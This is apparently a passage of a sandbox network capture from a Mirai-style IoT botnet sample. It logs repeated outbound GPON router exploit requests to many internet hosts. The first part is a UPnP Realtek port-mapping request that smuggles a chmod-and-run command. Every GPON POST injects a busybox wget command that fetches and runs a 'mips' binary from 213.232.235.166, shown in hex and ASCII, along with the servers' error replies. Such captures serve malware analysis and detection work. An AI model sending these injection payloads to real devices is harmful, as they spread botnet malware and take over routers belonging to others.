xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1126	192.168.2.13	42880	52.174.91.34	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.203577042 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1127	192.168.2.13	54282	23.48.143.68	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.204391956 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.514482975 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Mon, 15 Apr 2024 06:53:41 GMT Date: Mon, 15 Apr 2024 06:53:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 33 30 31 30 36 30 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 31 26 23 34 36 3b 36 39 61 62 62 62 33 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 38 33 30 31 30 36 30 26 23 34 36 3b 31 37 31 33 31 36 34 30 32 31 26 23 34 36 3b 36 39 61 62 62 62 33 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8301060.1713164021.69abbb3<P>https://errors.edgesuite.net/9.8301060.1713164021.69abbb3</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1128	192.168.2.13	38240	18.197.26.163	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.204670906 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.514559031 CEST	502	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 308 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6d 61 69 6c 2e 6b 6f 70 61 6c 64 65 76 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at mail.kopaldev.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1129	192.168.2.13	49508	83.5.239.243	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.234112978 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.563968897 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1130	192.168.2.13	54660	180.255.6.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.234146118 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.558032036 CEST	487	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Mon, 15 Apr 2024 06:53:45 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1131	192.168.2.13	35234	38.47.142.247	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.256190062 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.508074045 CEST	307	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 164 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 41 46 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>WAF</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1132	192.168.2.13	37394	202.215.132.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.311587095 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.607414007 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:54:03 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1133	192.168.2.13	50084	31.134.108.58	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.339942932 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.072379112 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:43.416165113 CEST	353	IN	HTTP/1.1 404 Not Found Date: Mon, 15 Apr 2024 09:53:45 GMT Server: App-webs/ Content-Length: 194 Content-Type: text/html Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /GponForm/diag_Form</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1134	192.168.2.13	48940	54.204.61.63	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.449872017 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.665293932 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1135	192.168.2.13	40412	54.227.211.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.449899912 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1136	192.168.2.13	46232	109.228.0.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:41.600517988 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:41.889173031 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:54:30 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; 